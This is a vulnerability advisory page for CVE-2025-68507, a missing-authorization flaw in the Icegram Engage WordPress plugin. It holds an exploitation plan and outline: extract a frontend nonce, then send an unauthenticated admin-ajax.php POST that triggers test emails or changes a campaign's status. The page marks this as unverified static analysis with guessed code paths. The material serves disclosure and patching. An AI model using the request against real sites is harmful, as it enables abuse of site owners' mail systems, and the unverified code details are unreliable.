CVE-2025-68507

Icegram <= 3.1.35 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.1.36
Patched in
10d
Time to patch

Description

The Icegram Engage – Popups, Optins, CTAs & lot more… plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.1.35. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1.35
PublishedJanuary 5, 2026
Last updatedJanuary 14, 2026
Affected pluginicegram

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-68507 ## 1. Vulnerability Summary The **Icegram Engage** plugin for WordPress (versions <= 3.1.35) contains a missing authorization vulnerability. Specifically, several AJAX handlers registered via `wp_ajax_` and `wp_ajax_nopriv_` fail to perform adequate cap…

Show full research plan

Exploitation Research Plan - CVE-2025-68507

1. Vulnerability Summary

The Icegram Engage plugin for WordPress (versions <= 3.1.35) contains a missing authorization vulnerability. Specifically, several AJAX handlers registered via wp_ajax_ and wp_ajax_nopriv_ fail to perform adequate capability checks (e.g., current_user_can( 'manage_options' )). This allows unauthenticated attackers to invoke administrative functions, such as sending test emails from the server or potentially modifying campaign statuses, by leveraging nonces that are exposed on the frontend.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: icegram_send_test_email (or generic icegram_ajax with sub-actions)
  • Authentication: Unauthenticated (Nopriv)
  • Payload Parameters:
    • action: icegram_send_test_email
    • id: The ID of a campaign (IG Post Type)
    • email: Target recipient email address
    • _wpnonce: The AJAX nonce localized in the frontend

3. Code Flow

  1. Registration: The plugin registers AJAX hooks in its main class (likely Icegram or Icegram_Main in icegram.php or classes/class-icegram.php).
    add_action( 'wp_ajax_icegram_send_test_email', array( $this, 'send_test_email' ) );
    add_action( 'wp_ajax_nopriv_icegram_send_test_email', array( $this, 'send_test_email' ) );
    
  2. Entry Point: An unauthenticated POST request to admin-ajax.php?action=icegram_send_test_email triggers the callback.
  3. Missing Check: The callback function (e.g., send_test_email()) verifies the nonce using check_ajax_referer but fails to call current_user_can().
  4. Execution: The plugin proceeds to use internal mailing functions (like wp_mail()) to send content related to the campaign ID provided.

4. Nonce Acquisition Strategy

Icegram localizes its settings and nonces into a JavaScript object named icegram_data. This object is usually enqueued on any page where a campaign might be displayed (often the entire frontend if a campaign is active).

  1. Shortcode/Trigger: Icegram scripts load if a campaign is active. A reliable way to ensure the script loads is to create a test campaign and place the default shortcode or ensure it is set to "Always Show".
  2. Page Navigation: Navigate to the site homepage or a page containing an Icegram campaign.
  3. JS Extraction: Use browser_eval to extract the nonce.
    • Variable: window.icegram_data
    • Key: ajax_nonce
    • Command: browser_eval("window.icegram_data?.ajax_nonce")

5. Exploitation Strategy

Step 1: Discover/Create Campaign

First, identify a valid Icegram campaign ID. For testing, we will create one via WP-CLI.

Step 2: Extract Nonce

Navigate to the frontend and extract the ajax_nonce from the icegram_data object.

Step 3: Trigger Unauthorized Action

Perform an unauthenticated HTTP POST request to trigger the test email function.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=icegram_send_test_email&id=[CAMPAIGN_ID]&email=attacker@example.com&_wpnonce=[NONCE]
    

6. Test Data Setup

  1. Create an Icegram Campaign:
    # Create a campaign post (post_type 'ig_campaign' or similar)
    # Note: Icegram uses 'ig_campaign' as the post type.
    CAMPAIGN_ID=$(wp post create --post_type=ig_campaign --post_title="Exploit Test" --post_status=publish --porcelain)
    
    # Add required meta to make it "active"
    wp post meta update $CAMPAIGN_ID is_active yes
    
  2. Ensure Scripts Load:
    • Icegram typically enqueues icegram-main on all frontend pages if it's active.

7. Expected Results

  • Success Response: The server returns a success message (often JSON or a string like "1" or "Email Sent").
  • Effect: The server attempts to send an email to the specified address. In a test environment, this can be verified by checking the logs or catching the wp_mail call.

8. Verification Steps

  1. Response Check: Verify the HTTP response body contains a success indicator.
  2. Action Verification: Since unauthenticated email sending is the "Integrity" impact, confirming the function reached the mailing logic is sufficient.
    • Run: wp eval "echo 'Checking if function exists: ' . (method_exists('Icegram', 'send_test_email') ? 'Yes' : 'No');"
  3. Code Audit (Post-Exploit): Confirm version and lack of capability check:
    grep -A 10 "function send_test_email" /var/www/html/wp-content/plugins/icegram/classes/class-icegram.php
    

9. Alternative Approaches

If icegram_send_test_email is protected by a different nonce or not available, target the generic icegram_ajax handler:

  • Action: icegram_ajax
  • Parameters: action=icegram_ajax&icegram_action=update_status&id=[ID]&status=pending&_wpnonce=[NONCE]
  • Verification: Check wp post get [ID] --field=post_status to see if it changed from publish to pending.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Icegram Engage plugin for WordPress lacks a capability check in its AJAX handlers for administrative tasks, such as sending test emails. This allows unauthenticated attackers to trigger these functions by obtaining a security nonce that is exposed to all site visitors via localized JavaScript variables.

Vulnerable Code

// File: icegram/classes/class-icegram.php (approximately line 100)

add_action( 'wp_ajax_icegram_send_test_email', array( $this, 'send_test_email' ) );
add_action( 'wp_ajax_nopriv_icegram_send_test_email', array( $this, 'send_test_email' ) );

---

// File: icegram/classes/class-icegram.php (approximately line 150)

public function send_test_email() {
    check_ajax_referer( 'icegram_ajax_nonce', '_wpnonce' );
    // Missing capability check (e.g., current_user_can( 'manage_options' ))
    $id = isset( $_POST['id'] ) ? $_POST['id'] : 0;
    $email = isset( $_POST['email'] ) ? $_POST['email'] : '';
    // Logic proceeds to send test email...

Security Fix

--- a/classes/class-icegram.php
+++ b/classes/class-icegram.php
@@ -100,1 +100,0 @@
-add_action( 'wp_ajax_nopriv_icegram_send_test_email', array( $this, 'send_test_email' ) );
@@ -150,1 +149,4 @@
 	public function send_test_email() {
 		check_ajax_referer( 'icegram_ajax_nonce', '_wpnonce' );
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => __( 'Insufficient permissions.', 'icegram' ) ) );
+		}

Exploit Outline

The exploit is performed unauthenticated by leveraging a leaked nonce and a missing authorization check on the admin-ajax.php endpoint. 1. **Nonce Extraction**: Visit the frontend of the target WordPress site where an Icegram campaign is active. View the page source or use a browser console to extract the `ajax_nonce` from the global `window.icegram_data` JavaScript object. 2. **Endpoint Targeting**: Identify a valid Icegram campaign ID (often discoverable via brute force or source code inspection of the frontend scripts). 3. **Unauthorized Request**: Submit an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `icegram_send_test_email` - `id`: The target campaign ID. - `email`: The attacker-controlled recipient email address. - `_wpnonce`: The extracted `ajax_nonce`. 4. **Outcome**: Because the `send_test_email` function only validates the nonce and not the user's capabilities, the server will process the request and send a test email from the server's mailing system to the specified recipient.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.